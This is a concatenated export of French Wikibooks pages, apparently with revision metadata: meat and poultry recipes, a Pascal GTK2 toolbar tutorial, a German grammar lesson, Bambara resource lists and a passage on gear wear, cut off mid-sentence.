*[[Cuisine:Recettes de veau|Recettes de veau]] {{Cuisine}} Cuisine:Recettes de bœuf 2991 24673 2005-10-31T08:15:13Z Epommate 705 /* Accompagnement */ == Bœuf bourguignon == ====Ingrédients (pour 4 à 6 personnes)==== Recette de base<br /> *1,2 kg de bœuf à braiser *2 carottes *2 oignons *2 gousses d'ail *2 c. à soupe d'huile *2 c. à soupe de farine *1 bouteille de vin de Bourgogne *1 bouquet garni Ingrédients d'agrément<br /> *20 g de Fond de veau déshydraté *200 g de lardons *200 g de champignons *40 g de beurre *12 petits oignons *1 c. à soupe de sucre en poudre *200 g de pain de campagne ==== Matériel ==== *une cocotte *une petite casserole ====Préparation (temps estimé de préparation : 30 minutes, cuisson : 2 à 4 heures)==== #Couper la viandes en cubes de 5 cm de côté environ. #Eplucher les carottes, les oignons, les petits oignons et l'ail. #Découper les carottes et les oignons en rondelles. #Rincer les champignons, couper leurs racines (la base de la queue) et les couper en lamelles. #Ecraser une gousse d'ail. =====Cuisson===== #Faire chauffer l'huile dans une cocotte, mettre les morceaux de viandes et les dorer sur toutes les faces. #Ajouter les lardons pour les dorer à leur tour. #Ajouter les carottes et les oignons et les faire revenir à feux doux. Saler, poivrer. #Saupoudrer de farine, bien mélanger et laisser brunir un peu. #Verser le fond de veau délayé dans 5 dl d'eau, ainsi que le vin. #Ajouter l'ail écrasé, le bouquet garni, et bien mélanger. #Cuire à couvert, très doucement, au moins 2h30 (idéalement 4h). Pendant la cuisson de la viande, dans la petite casserole : #Cuire les champignons pendant 10 minutes dans 20 g de beurre. Les réserver. Préparer les oignons glacés : #Faire fondre le beurre dans la casserole, y placer les petits oignons. #Recouvrir d'eau juste à hauteur, ajouter le sucre et une pincée de sel. #Laisser cuire 10 min pour faire réduire le liquide jusqu'à obtenir une consistance sirupeuse. #Faire rouler les petits oignons et les laisser dorer pendant 5 min. Préparer les croutons à l'ail<br /> Trancher le pain et le passer au grille-pain, ou dans le four.<br /> Le frotter d'ail, puis le découper en morceaux. (Facultatif : Vous pouvez ensuite le passer à la poêle dans un peu de beurre ou d'huile) En fin de cuisson, ajoutez les champignons et les oignons glacés dans la cocotte. Vous pouvez également ajouter un peu de persil haché, et le laisser infuser 3 min. Servez avec les croûtons. [modifier] ====Variante : Marinade==== Il est aussi possible de laisser mariner la viande au frais 3 à 12 h avec le vin, l'oignon et le bouquet garni. Bien égouter la viande avant de la cuire. == Boulettes de bœuf aux céréales == ====Ingrédients (pour 4 personnes)==== * 300 gr de bœuf hâché cru * 100 gr de boulgour, de riz cuit à l'eau, ou de crozets * 4 cuillers à soupe de persil hâché, sel et poivre du moulin * 2 cuillers à soupe d'huile de cuisson ====Préparation==== #Mélangez la viande de bœuf hâché avec le boulgour. Ajoutez le persil hâché, salez et poivrez. #Formez 12 boulettes et faites les cuire, sur feu moyen, dans une poêle antiadhésive avec l'huile pendant 7 à 8 minutes. == La carbonade flamande == La '''carbonade flamande''' est une recette du Nord de la France et de la Belgique. ====Ingrédients==== [[image:ingredients_carbonade.png|250 px|left|thumb|Les ingrédients]] Pour 6 personnes * 1 kg de bœuf à braiser * 3 oignons * 50 g de saindoux ou de [[beurre]] * 1/3 de litre de bière brune * 2 cuillères à soupe de sucre roux (cassonade) * thym * Laurier * sel et poivre * 50 g de farine ====Préparation (préparation : 15 minutes, cuisson : 2 heures)==== # Couper la viande de bœuf en gros cube, les rouler dans la farine. #Faire chauffer le beurre dans une cocotte ou dans une sauteuse. Faire dorer les morceaux de viande farinés. Ajouter les oignons hachés, le thym, le laurier (en bouquet garni), le sel et le poivre. Mouiller à la bière (on peut mettre plus que les 1/3 de litre si on laisse mijoter plus longtemps) et le sucre. #Couvrir la cocotte, la mettre sur feux doux et cuire encore une heure et demi (si vous avez le temps n'hésitez pas à laisser mijoter à feu doux plus longtemps, rallonger éventuellement avec de l'eau ou de la bière). ====Accompagnement==== Servir avec des pommes de terre cuites à la vapeur ou des frites. Il est plus traditionnel d'accompagner la carbonade d'une bonne bière belge. pour plus de saveur ne pas hésiter à remplacer le sucre roux par 2 bonnes tranches de pain d'épice et en accompagnement, des chicons (endives pour les non nordistes)braisés sur un lit de lardons légérement mouillés d'un fond de jurançon {{Cuisine}} Cuisine:Recettes de volaille 2992 44321 2006-06-11T08:07:12Z 82.174.218.111 /* Ustensile spécifique */ Typo __NOTOC__ == Blancs de poulet farcis aux herbes == ==== Ingrédients pour 4 personnes ==== * 4 blancs de poulet * 100 g. de jambon cru hâché * 500 g. de courgettes * 1 bouquet d'herbes mélangées (persil, ciboulette, menthe, aneth ...), fraîches de préférence, et ciselées finement et hâchées * 1 gousse d'ail pressé * 1 jaune d'oœuf * 10 cl de vin blanc sec * 3 cuillers à soupe de sauce soja * 3 cuillers à soupe d'huile d'olive * 2 cuillers à soupe de miel * sel et poivre du moulin ==== Ustensiles ==== * un bol de préparation * ficelle de cuisson * sauteuse avec de l'huile * une petite casserole * un cuit-vapeur ==== Préparation ==== * Dans un bol de préparation, mélangez la gousse d'ail pressée, les herbes fraîches hâchées, et le jaune d'oœuf, salez et poivrez. * Fendez les blancs en deux dans l'épaisseur sans séparer les morceaux et garnissez-les avec la farce aux herbes, roulez-les et ficelez-les fermement. * Faites chauffer la sauteuse avec l'huile d'olive, faites-y dorer les blancs de poulets et réservez-les quand ils ont bien coloré. * Dans une petite casserole, faites tiédir le vin blanc sec et faites-y fondre le miel avant d'y ajouter la sauce de soja. Versez la sauce dans sauteuse et laissez bouillir 5 minutes. * Remettez les blancs de poulet à cuire dans la sauteuse, couvrez et laissez mijoter pendant 15 minutes. * Pendant ce temps, rincez et épluchez les courgettes et à l'aide d'un couteau économe coupez des tagliatelles de courgettes à faire cuire 5 minutes à la vapeur pour les garder croquantes. * Coupez en tranches les blancs de poulet farcis aux herbes et présentez-les sur un lit de tagliatelles de courgettes, arrosées de jus de la cuisson, et décorées d'herbes fraîches. == Poulet fafa == ====Ingrédients (pour 6 personnes) ==== * 1 gros poulet, vidé, désossé et coupé en gros morceaux, * 1 kg de pousses d'épinards, * 3 gros oignons blancs, * 1 gousse d'ail, * de la racine de gingembre, 4 à 6 cm selon la grosseur, * 25 cl de lait de noix de coco, * une demi noix de muscade, * 10 cl d'huile d'arachide, * 1 tablette de bouillon de volaille, * 15 cl d'eau, sel et poivre du moulin. ====Ustensile spécifique==== * 1 sauteuse ====Préparation (Temps estimé 45 minutes)==== # Désossez le poulet et coupez-le en gros morceaux. # Épluchez et émincez les oignons, épluchez et hâchez la gousse d'ail, pelez et râpez le gingembre, lavez et équeutez les épinards, râpez la noix de muscade. # Faites chauffer la moitié de l'huile dans la sauteuse, et faites y fondre les oignons à feu moyen pendant 5 minutes, puis retirez-les et réservez-les. # Ajoutez l'huile restante, et mettez à dorer à feu vif pendant 5 minutes, les morceaux de poulet avec l'ail, et en les retournant. # Remettez les oignons fondus, et ajoutez le gingembre, la noix de muscade et le cube de bouillon émietté. # Mélangez bien le tout, mouillez avec l'eau, salez et poivrez, et laissez cuire pendant encore 7 minutes à feu vif. # Ajoutez les pousses d'épinards et laissez cuire à feu vif, en remuant pendant encore 5 minutes. # Ajoutez le lait de noix de coco et laissez cuire à feu vif jusqu'à frémissement. # Servez dans un plat de service accompagné de riz à l'ananas. ==Poulet Thaï== ====Ingrédients (pour 4 personnes)==== *500 à 600 grammes de filets de poulet, ou 8 cuisses dépiotées de leur chair, *4 verres de riz parfumé thaï, *800 cl de lait de coco (soit deux boites), *2 citrons verts, *2 cuillères à café de purée de piments rouges, *1 à 2 cuillères à café de gingembre en poudre (éventuellement) *huile, sauce soja ====Ustensiles==== *une grande poelle *une casserolle *des baguettes ====Préparation==== #Lavez 5 fois votre riz, jusqu'à ce que l'eau de rinçage soit claire. Ajoutez lui 5 verres d'eau dans la casserolle, à feu vif. Dès que l'eau bout, couvrez et laissez cuire à feu très doux. #Dans la poelle, chauffer un peu d'huile, et faites y revenir le poulet débité en petites briques. Lorsqu'il est doré, ajoutez le jus de citron, le gingembre et la purée de piment. Laissez mijoter à feu moyen 2 minutes, puis ajoutez le lait de coco. Laissez cuire 5 minutes à petit bouillon. #Le riz est cuit lorsque toute l'eau est absorbée et qu'il est légèrement adhérent (environ 10 minutes). Lorsque c'est le cas, coupez le feu et laisser reposer sous un linge humide. Note : Si votre riz n'est pas cuit lorsque il n'y a plus d'eau, n'hésitez pas à en rajouter un peu (laissez le feu très bas). ====Service==== Servez le riz à côté du poulet et de sa sauce. Le riz peut être salé à la sauce soja, ou au nuoc-mam. == Poulet sauce au vin rouge == ====Ingrédients (pour 4 personnes) ==== * 1 poulet découpé en morceaux * 2 verres de vin rouge * 150 gr de champignons de Paris coupés en fines tranches * 1 tomate pelée * 3 cuillers de fécule de pommes de terre, sel et poivre du moulin * 1 sauteuse ====Préparation==== * Dans la sauteuse, faites revenir les morceaux de poulet. * Quand les morceaux sont bien dorés, ajoutez le vin rouge, salez, poivrez et laissez cuire à feu doux. * À mi-cuisson, ajoutez la tomate pelée, les champignons coupés et laissez cuire environ 1 heure à feu doux. * À la fin de la cuisson, retirez les morceaux et déposez-les sur le plat de service, puis ajoutez la fécule de pommes de terre et laissez réduire la sauce à feu doux. * Nappez les morceaux de poulet avec la sauce au vin rouge. == Risotto au poulet == ====Ingrédients (pour 4 personnes) ==== * 200 gr de blanc de poulet coupés en fines lanières * 300 gr de riz * 250 gr de tomate pelée (en boîte) et coupées en quartiers * 1 oignon hâché * 1 litre de bouillon de volaille (= 4 bâtonnets ''Maggi Cube®'') * 2 cuillers à soupe de persil hâché * 1 verre de vin blanc, sel et poivre du moulin. * 1 cocotte à fond épais ====Préparation==== * Dans la cocotte, faites revenir l'oignon hâché, et dès qu'il commence à blondir, ajoutez les lanières de blanc de poulet, et faites rissoler le tout. * Ajoutez le verre de vin blanc et les morceaux de tomates pelées, et laissez cuire 10 minutes à feu doux. * Ajoutez le riz, mélangez et laissez cuire 2 minutes, avant d'incorporez, petit à petit, le bouillon de volaille chaud, jusqu'à ce que le riz ne puisse plus absorber de liquide, salez et poivrez. * Disposez la préparation dans un plat de service et saupoudrez avec le persil hâché. ---- Retour au [[Livre_de_Cuisine]] ---- Image:Cooking pans.jpg 2993 14537 2005-03-28T19:40:39Z Antoinel 182 Poêles {{GFDL}} Poêles {{GFDL}} Cuisine:Poêles 2994 14538 2005-06-04T06:36:55Z Antoinel 182 <table><tr><td>[[Image:Cooking pans.jpg|thumb|Poêles]]</td><td>[[Image:Pfanne (Gusseisen).jpg|thumb]]</td></tr><tr><td>[[Image:Pfanne (Email).jpg|thumb]]</td><td> [[Image:Pfanne (Edelstahl).jpg|thumb]]</td></tr></table> <br /> [[Image:Cocotte.png|200px]] {{Cuisine}} Cuisine:Poëles 2995 14539 2005-03-28T19:44:33Z Antoinel 182 Cuisine:Poëles déplacé vers Cuisine:Poêles #REDIRECT [[Cuisine:Poêles]] Programmation GTK2 en Pascal - La barre d'outils 3000 14542 2005-04-08T17:21:31Z Didier 186 ordre {{Programmation GTK2 en Pascal}} La barre d'outils est un élément moderne participant à l'ergonomie d'une interface graphique. Elle est constituée comme le menu de plusieurs éléments : * [[Programmation GTK2 en Pascal - GtkToolbar|GtkToolbar]] * [[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] * [[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] * [[Programmation GTK2 en Pascal - GtkMenuToolButton|GtkMenuToolButton]] * [[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]] * [[Programmation GTK2 en Pascal - GtkRadioToolButton|GtkRadioToolButton]] * [[Programmation GTK2 en Pascal - GtkSeparatorToolItem|GtkSeparatorToolItem]] Wikilivres:Liens d'interlangue 3001 14543 2005-03-29T17:08:59Z 82.216.192.42 /* Comment créer un lien? */ Wikilivres est un projet multilingue ; chaque langue a son propre wiki, distinct des autres (voir [[w:en:Wikibooks:multilingual coordination|Coordination multilingue]] pour la liste). Un '''Lien inter-langue''' est un lien qui mène d'un livre Wikilivres vers un livre sur le même sujet, écrit en une autre langue. Ce système permet d'établir une abondance de liens entre les différentes branches de Wikilivres. Le lecteur qui ne lit pas dans sa langue première voit si un article existe qui lui conviendrait mieux. Les wikécrivains peuvent traduire et copier les données entre les livres. == Comment créer un lien? == Les liens inter-langues sont simplement des liens wiki ordinaires, mais précédés du code langage du wiki vers lequel on veut lier. Par exemple, sur le livre sur le [[Rêve lucide]] du Wikilivres francophone, on ajoute : :<nowiki>[[en:Lucid dreaming]]</nowiki> Une fois la page sauvegardée, on y verra un lien marqué "English". Pour plusieurs langues : :<nowiki>[[en:Lucid dreaming]] [[de:Klartraum]]</nowiki> Par contre, sur la page "Victor Hugo" du Wikilivres ''anglophone'', on trouvera peut-être : :<nowiki>[[fr:Rêve lucide]] [[de:Klartraum]]</nowiki> == Quelques conventions == * on crée seulement des liens inter-langues vers des livres qui existent * en général, on met les liens au début ou à la fin du texte. Mais ça n'a aucune importance : ils apparaissent hors du texte du livre en mode 'lecture', en haut de la page. * c'est bien d'essayer de lier toutes les pages entre elles. Mais ça peut être un vrai casse-tête ! Allemand:Comparatif et superlatif 3005 44078 2006-06-07T12:02:30Z 84.227.132.121 /* Le comparatif d'infériorité */ == Le comparatif d'égalité== On peut employer le comparatif d'égalité pour un adjectif ou pour un adverbe. <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>so (ou ebenso ou genauso) + ... (adjectif ou adverbe) + wie </center> </td></tr></table><br />Exemple : Frank ist so groß wie Lena. ''Frank est aussi grand que Lena.'' == Le comparatif d'infériorité == <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center>nicht so (ou ebenso ou genauso) + ... (adjectif ou adverbe) + wie </center> </td></tr></table><br />Exemple : Er ist nicht so groß wie ich. ''Il n'est pas aussi grand que moi.'' == Le comparatif de supériorité == Pour exprimer la supériorité, on ajoute '''-er''' à l'adjectif ou à l'adverbe et on introduit le comparant par '''als'''. Certain adjectif prennent un Umlaut (¨). <br /><table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top> <center> ... (adjectif ou adverbe)-er + als </center> </td></tr></table><br />Exemple : Jonas ist kleiner als Lena. ''Jonas est plus petit que Lena.'' <br /> Retour [[Enseignement de l'anglais]] Image:Programmation GTK2 en Pascal - gtk042.png 3006 14547 2005-03-30T17:23:10Z Didier 186 Exemple du programme gtk042.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk042.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkToolbar 3007 14548 2005-03-30T17:26:25Z Didier 186 /* Programme exemple */ cat {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkToolbar''' permet de gérer une barre d'outils dans une fenêtre. Cette barre d'outils permet de contenir des contrôles, le plus souvent de style boutons avec icônes. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkToolbar|GtkToolbar]] |} == Utilisation de base == === Création === La fonction de création d'une barre d'outils est simple : function gtk_toolbar_new : PGtkWidget; === Ajout d'élément === Pour ajouter des éléments dans une <code>GtkToolbar</code>, il faut utiliser les fonctions suivantes : procedure gtk_toolbar_insert(toolbar : PGtkToolbar; item : PGtkToolItem; pos : gint); Le paramètre <code>toolbar</code> est la barre d'outils, <code>item</code> est un <code>[[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]]</code> et <code>pos</code> est la position d'insertion, 0 insérant au début de la barre (à gauche ou en haut), un nombre négatif insérant à la fin (à droite ou en bas). NB : Les anciennes fonctions <code>gtk_toolbar_append_item</code>, <code>gtk_toolbar_prepend_item</code> et <code>gtk_toolbar_insert_item</code> ne sont plus supportées et ne devraient plus être utilisées dans les nouveaux programmes. === Présentation de la barre === La barre d'outils peut être horizontale ou verticale. La fonction pour changer cette présentation est : procedure gtk_toolbar_set_orientation(toolbar : PGtkToolbar; orientation : TGtkOrientation); Le paramètre <code>orientation</code> peut prendre les valeurs : * GTK_ORIENTATION_HORIZONTAL * GTK_ORIENTATION_VERTICAL == Programme exemple == Nous allons créer dans une fenêtre une barre d'outils qui pour l'instant ne contient rien. Elle s'étoffera dans les autres articles traitant des éléments d'une barre d'outils. Voilà le fichier <code>gtk042.pas</code> : program gtk042; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreOutils : PGtkWidget; pLabel : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); <nowiki>gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk042 : Barre d''outils');</nowiki> gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', G_CALLBACK(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 5); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre d'outils pBarreOutils := gtk_toolbar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreOutils, FALSE, FALSE, 0); // Création du label pLabel := gtk_label_new('Label'); gtk_box_pack_start(GTK_BOX(pVBox), pLabel, FALSE, FALSE, 0); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk042</code> : [[Image:Programmation GTK2 en Pascal - gtk042.png]] {{Programmation GTK2 en Pascal - Barre d'outils}} [[Catégorie:Programmation GTK2 en Pascal|GtkToolbar]] Modèle:Programmation GTK2 en Pascal - Barre d'outils 3008 14549 2005-03-31T17:23:34Z Didier 186 ordre {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Barre d'outils : [[Programmation GTK2 en Pascal - GtkToolbar|GtkToolbar]] ~ [[Programmation GTK2 en Pascal - GtkToolItem|GtkToolItem]] ~ [[Programmation GTK2 en Pascal - GtkToolButton|GtkToolButton]] ~ [[Programmation GTK2 en Pascal - GtkMenuToolButton|GtkMenuToolButton]] ~ [[Programmation GTK2 en Pascal - GtkToggleToolButton|GtkToggleToolButton]] ~ [[Programmation GTK2 en Pascal - GtkRadioToolButton|GtkRadioToolButton]] ~ [[Programmation GTK2 en Pascal - GtkSeparatorToolItem|GtkSeparatorToolItem]] |} Livres en bambara 3009 14550 2005-03-30T17:50:41Z Guaka 165 * http://www.mothertongue.us/ ** An k'an miiriya lahoronya (Decolonising the Mind), 2000. Ngugi wa Thiong'o. ** Bamanankan Danegafe (1994), Kassim Kone. (Bambara-Bambara dictionary, 230 pages) ** Bamanan Ntalenw 1177 (1994), Kassim Kone. ** Beledugu Muruti (1994), Kassim Kone. (The story of the Beledugu revolution against the French; the Beledugu region was one of the very last areas of Mali to come under French domination) ** Ntennten (1993), Kassim Kone. (more than one hundred children's riddles and responses) ** Sirabara (1992), Brehima Wulale. (A biography of Nace Kulubali, who was a traditional healer whom the author knew as a child; Nace heals bodies, minds and souls) ** Zirinw ni Manaw (1994), Kassim Kone. (151 pages) Bambara sur l'internet 3010 14551 2005-03-30T18:13:09Z Guaka 165 Voici quelques pages en bamanankan sur l'internet : * http://www.callisto.si.usherb.ca/~malinet/PROJECTS/BAMAKALAN/kalan_ba.html * [http://mali-music.com/Cat/CatY/Yalomba/YalombaTxtB.htm Adama Yolomba - Paroles Bambara] * http://bok.net/pajol/concerne.ba.html * http://www.kiesperanto.org/malio/paragi.html * http://www.bisharat.net/Demos/jiriwso.htm Image:Tarte au chèvre.JPG 3011 14552 2005-03-30T17:58:57Z Antoinel 182 Tarte au chèvre avant la cuisson {{GFDL}} Tarte au chèvre avant la cuisson {{GFDL}} Image:Tarte chèvre ap cuisson.jpg 3012 14553 2005-03-30T18:03:46Z Antoinel 182 Tarte au chèvre après la cuisson {{GFDL}} Tarte au chèvre après la cuisson {{GFDL}} Image:Préparation tarte au chèvre.JPG 3013 14554 2005-03-30T18:07:53Z Antoinel 182 Préparation de la tarte au chèvre {{GFDL}} Préparation de la tarte au chèvre {{GFDL}} Catégorie:Image GFDL 3016 31830 2006-02-07T00:43:37Z Boly38 136 import depuis w: {{Commons|Category:GFDL|Catégorie:Image GFDL}} Les images suivantes sont publiées sous la licence [[w:GFDL|GNU Free Documentation License]]. Pour ajouter une image à cette catégorie, utilisez le modèle '''{{m|GFDL}}'''. {{CategoryTOC}} [[Catégorie:image GNU]] [[de:Kategorie:GFDL-Bild]] [[nl:Categorie:GFDL afbeeldingen]] [[sv:Kategori:Bilder med GFDL-licens]] Programmation HTML Balises complémentaires 3018 35866 2006-03-04T14:56:12Z 195.93.102.8 {{ébauche}} {{Programmation HTML}} ==Les balises non citès== une balise non cités,(qui, très utile)nous permet de mettre une ligne d'intéractions entre deux écritures!! voici le code: <hr /> voila une belle balise non? ==Les balises multimédia== ==Les scripts== ==Les applets== Tribologie - Endommagement des engrenages 3019 43391 2006-05-29T10:18:25Z Jean-Jacques MILAN 114 retour à la normale [[Catégorie:tribologie]] [[Catégorie:engrenages]] {{Tribologie}} Les curieux (dans le bon sens du terme) sauront tout ou presque sur l'usure des engrenages en se reportant à l'excellent ouvrage de Louis Faure, du CETIM : ''Aspect des dentures d'engrenage après fonctionnement''. Les engrenages étaient déjà utilisés sous une forme rudimentaire au VIe siècle avant notre ère mais ce n'est qu'au XVIIe siècle que leur fonctionnement commença à être étudié de manière véritablement scientifique. Il existe encore d'anciennes installations possédant des dentures en bois (roues à « alluchons »). Les problèmes de lubrification ne sont devenus primordiaux qu'au début du XXe siècle. On a longtemps considéré que les meilleurs lubrifiants étaient les plus épais mais aujourd'hui on utilise toute une gamme d'huiles, de graisses, de produits solides ... et même l'air ! Sur les engrenages lents lubrifiés à la graisse et tournant toujours dans le même sens, l'excès de lubrifiant est transféré au bout de quelques tours et ne peut plus revenir dans la zone de contact. On a donc intérêt à utiliser une graisse relativement molle, filante, et à en remettre souvent de petites quantités plutôt qu'une grosse quantité amenée une fois pour toutes. La graisse doit présenter une très haute tenue sur les surfaces, être apte à circuler et ne pas durcir lors des périodes d'arrêt. Dans le cas d'engrenages peu chargés, fonctionnant à des vitesses moyennes, lubrifiés avec une huile relativement visqueuse, les dentures sont séparées par un film suffisamment épais pour supprimer tout contact métal sur métal. L'usure sera insignifiante, sauf lors des périodes de démarrage et d'arrêt qui sont toujours les plus dangereuses. Les stries d'usinage d'origine se retrouvent intactes sur la denture, même après de longues périodes de fonctionnement. Il est à noter que l'on ne peut parler d'avarie que lorsque l'usure est telle que l'engrenage est inapte à remplir sa fonction avant d'avoir atteint la durée pour laquelle il a été prévu. == Usure normale (normal wear) == La perte lente et régulière de l'épaisseur des dents ne provoque pas de dégradation de l'état de surface. Ce n'est pas une avarie mais au contraire le signe d'un fonctionnement normal des dentures et la tenue de l'engrenage n'est pas affectée pendant la durée prévue pour l'utilisation. == Usure courante (current wear) == C'est une abrasion à deux corps caractérisée par un amincissement des zones de glissement (les sommets et les pieds des dents) tandis que la perte de matière est à peu près nulle au niveau du primitif. Il en résulte une déformation du profil, mais sans dégradation notable de l'état de surface. L'aspect de la zone usée est en général gris et mat. == Poli-miroir (polishing) == Il traduit une plastification superficielle des flancs de dents, son évolution est lente et il témoigne d'un bon fonctionnement : on n'a jamais à la fois usure importante et poli miroir. Par ailleurs cette modification de la surface des dentures favorise leur portée. Cependant, en cas de surcharge ou de lubrification défectueuse, la température de surface peut devenir suffisante pour permettre la formation de microsoudures localisées, alors le grippage n'est pas loin. Pour éviter un tel risque, on peut augmenter quelque peu la viscosité du lubrifiant. De même on prendra soin d'éviter toute surcharge, même brève, qui ne manquerait pas de provoquer des dégâts irrémédiables. Le poli-miroir apparaît communément sur les dentures durcies en surface comme celles des boîtes de vitesses ou des différentiels automobiles. == Grippage localisé == Il correspond à des '''arrachements''' ou des '''adhérences''' (adhesures) qui modifient soudain l'état d'une petite partie de la surface des dents, 5 % par exemple. Il concerne souvent les dentures neuves ou dans l'état de poli-miroir et il peut disparaître à la longue. Les causes de ce phénomène sont multiples : imperfection d'usinage, défaut d'alignement des dentures, déformation en charge, passage d'une particule étrangère dans la denture, surcharge brutale, défaut temporaire de lubrification. Dans tous les cas il y a surcharge locale, rupture du film d'huile et formation d'une micro-soudure immédiatement cisaillée. On pense souvent, mais à tort, que ce n'est pas forcément une avarie grave ; en réalité les arrachements s'accompagnent souvent de fissures qui partent de la surface et risquent, en s'étendant à toute l'épaisseur de la dent, de provoquer sa rupture rapide. Sur des engrenages traités en surface, un contrôle par ressuage est souvent utile. Par contre, les engrenages traités dans la masse présentent un risque bien moindre. Il est parfois possible de « réparer » les dentures pas trop sévèrement grippées en les faisant fonctionner quelque temps avec une graisse de rodage appropriée. == Grippage généralisé (scuffing) == C'est une avarie très brutale attribuée à une rupture du film lubrifiant par suite de températures de surface trop élevées. Sa gravité a accéléré le développement des additifs extrême pression. Il est reconnaissable au fait que le cisaillement des microsoudures amène des transferts de métal d'une denture sur l'autre, ou l'émission de débris. Le grippage généralisé est une usure catastrophique qui détruit typiquement les dentures non traitées, de gros module, fonctionnant à des vitesses faibles. Il produit une modification soudaine de la surface de toutes les dents : sur des engrenages durcis, on note un changement de coloration et de fines rayures, à ne pas confondre avec une usure abrasive, car il y a peu de perte de cote. Sur des aciers peu durcis, les surfaces sont détruites par écoulement plastique et marquées de sillons grossiers parallèles au profil. Lors du grippage apparaissent aussi des charges radiales anormales et des vibrations. Le facteur de frottement augmente et devient irrégulier. Il n'est pas forcément nécessaire d'atteindre de très hautes températures pour former des soudures. On distingue en fait deux sortes de phénomènes : * Le '''grippage à chaud''' (hot scuffing) est lié à une rupture de film d'huile par échauffement excessif. Les traces sont généralement plus importantes dans les zones à forte vitesse de glissement. Tant que ces traces restent fines et peu profondes, elles peuvent être tolérées car elles finiront par s'amenuiser avec le temps. Si elles sont au contraire grossières, elles évolueront vers des arrachements et généralement, à court terme, vers la rupture des dents. Ces dernières prennent des teintes caractéristiques brunes, bleues ou violacées. * Le '''grippage à froid''' (cold scuffing) résulte de pressions de contact très élevées accompagnées de vitesses de glissement extrêmement faibles. Le désastre commence par quelques arrachements plus ou moins localisés qui ne tardent pas à se propager de proche en proche à toute la périphérie de la denture. La destruction totale peut se produire en quelques minutes. Le grippage à froid est très souvent associé à un manque de lubrifiant et se produit le plus souvent sur des dentures lubrifiées à la graisse. Il est favorisé aussi par un état de surface médiocre, qui facilite la formation des microsoudures et le développement du grippage en profondeur. == Usures à trois corps (wear with three bodies) == Elles résultent de la présence dans l'huile de corps abrasifs : rouille, sable de moulage, calamine, copeaux ... On peut distinguer plusieurs formes : * Les '''rayures, griffures, sillons''' (scratching) se manifestent sous la forme de cavités isolées ou de sillons plus ou moins profonds mais toujours bien individualisés et irréguliers, orientés dans le sens du glissement. Il s'agit de l'effet de grosses particules introduites dans l'engrènement. Ce type d'usure se rencontre dès la mise en route d'un mécanisme, ou juste après une réparation faite dans des conditions de propreté insuffisantes. Contrairement aux arrachements qui mettent en cause le fonctionnement de l'engrenage, les rayures ne constituent pas une avarie grave à condition que le constat soit fait à temps et que des mesures curatives soient prises : d'une part, l'élimination des corps étrangers, d'autre part, la réparation des dentures par polissage des surépaisseurs causées par les griffures et désincrustation des particules dures. * L''''usure abrasive proprement dite''' (abrasive wear) est due à la présence dans le lubrifiant de petites particules d'origine externe ou interne : débris d'usure par exemple. On remarque des rayures très fines, un aspect mat, un épaulement au fond de la denture et des dents érodées en lame de couteau. Le phénomène d'abrasion est souvent très rapide, il ne s'accompagne jamais d'adhésions locales ou de microsoudures et ne résulte pas d'un manque de lubrifiant. Ce dernier est au contraire le vecteur des particules abrasives. On assiste à la formation de dents pointues et souvent très affaiblies à la base. Dans de nombreux cas, les dents finissent par se rompre ou, si elles sont traitées, par subir d'autres formes d'usure fatales comme l'écaillage étudié plus loin. L'usure abrasive produit une augmentation du jeu de fonctionnement des dentures et une forte déformation des profils génératrice de bruit et de vibrations. == Usure modérée (moderate wear) == Elle est caractérisée, comme son nom l'indique, par une perte de matière plus forte que lors de l'usure normale. Elle apparaît le plus souvent lorsque les limites de la lubrification sont atteintes, et concerne presque tous les engrenages très chargés tournant à faible vitesse et réalisés en acier traité dans la masse. Il est à noter que si des traces notables d'enlèvement de matière sont visibles là où se produit le glissement, au sommet et au pied des dents, en revanche la surface primitive de fonctionnement n'est pratiquement pas altérée. L'usure modérée peut en général être tolérée à condition d'améliorer la lubrification par refroidissement de l'huile ou par augmentation de sa viscosité, ou encore en remplaçant la graisse par de l'huile. Le niveau de bruit et de vibrations peut toutefois devenir inacceptable. == Usure excessive et destructrice (excessive and destructive wear) == C'est un processus qui aboutit à la mise hors service des dentures. On constate une très importante déformation des profils qui résulte de l'action, conjointe ou non, d'autres processus : abrasion, adhésion, piqûres ... Il va de soi qu'une usure excessive amène à une recherche approfondie de ses causes, avant tout remplacement des organes détruits, sinon on peut être à peu près sûr qu'elle se reproduira sur les nouvelles pièces. On s'intéressera en particulier à la nature du lubrifiant, à son onctuosité et à sa viscosité, sans oublier son mode d'introduction dans les contacts. On examinera l'efficacité de la filtration et/ou du refroidissement, l'étanchéité du 